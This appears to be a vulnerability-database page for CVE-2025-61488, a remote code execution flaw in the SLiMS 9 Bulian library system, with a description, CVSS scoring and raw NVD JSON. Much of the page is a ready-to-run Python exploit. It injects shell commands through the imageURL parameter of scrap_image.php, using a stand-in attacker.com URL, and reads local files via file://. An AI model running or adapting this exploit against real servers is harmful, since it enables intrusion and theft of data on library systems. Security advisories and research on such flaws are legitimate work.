Security Vulnerability Report
中文
CVE-2025-61488 CVSS 7.6 HIGH

CVE-2025-61488

Published: 2025-10-20 19:15:38
Last Modified: 2026-04-15 00:35:42

Description

An issue in Senayan Library Management System (SLiMS) 9 Bulian v.9.6.1 allows a remote attacker to execute arbitrary code via the scrap_image.php component and the imageURL parameter

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Senayan Library Management System (SLiMS) 9 Bulian v9.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61488 - SLiMS 9 Bulian scrap_image.php RCE PoC # Vulnerability: Remote Code Execution via imageURL parameter # Affected: SLiMS 9 Bulian v9.6.1 # Authentication Required: High privileges (admin) import requests import sys TARGET_URL = "http://target-slims-server" ADMIN_COOKIE = "admin_session_cookie_here" # Replace with valid admin session cookie def exploit_rce(target_url, session_cookie, command): """ Exploit CVE-2025-61488 to achieve RCE via scrap_image.php The imageURL parameter is vulnerable to command injection """ endpoint = f"{target_url}/admin/modules/bibliography/scrap_image.php" headers = { "Cookie": f"SenayanAdmin={session_cookie}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Malicious imageURL payload - command injection via URL parameter # The scrap_image.php passes imageURL to system commands without sanitization payload = { "imageURL": f"http://attacker.com/image.jpg;{command}", "title": "test", "imageSource": "remote" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except Exception as e: print(f"[-] Error: {e}") return None def exploit_file_read(target_url, session_cookie, file_path): """ Exploit CVE-2025-61488 to read local files via file:// protocol """ endpoint = f"{target_url}/admin/modules/bibliography/scrap_image.php" headers = { "Cookie": f"SenayanAdmin={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Using file:// protocol to read arbitrary files payload = { "imageURL": f"file://{file_path}", "title": "test", "imageSource": "remote" } response = requests.post(endpoint, data=payload, headers=headers, timeout=10) return response if __name__ == "__main__": if len(sys.argv) > 1: cmd = sys.argv[1] else: cmd = "id" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Executing command: {cmd}") exploit_rce(TARGET_URL, ADMIN_COOKIE, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61488", "sourceIdentifier": "[email protected]", "published": "2025-10-20T19:15:38.027", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Senayan Library Management System (SLiMS) 9 Bulian v.9.6.1 allows a remote attacker to execute arbitrary code via the scrap_image.php component and the imageURL parameter"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/slims/slims9_bulian/issues/299", "source": "[email protected]"}]}}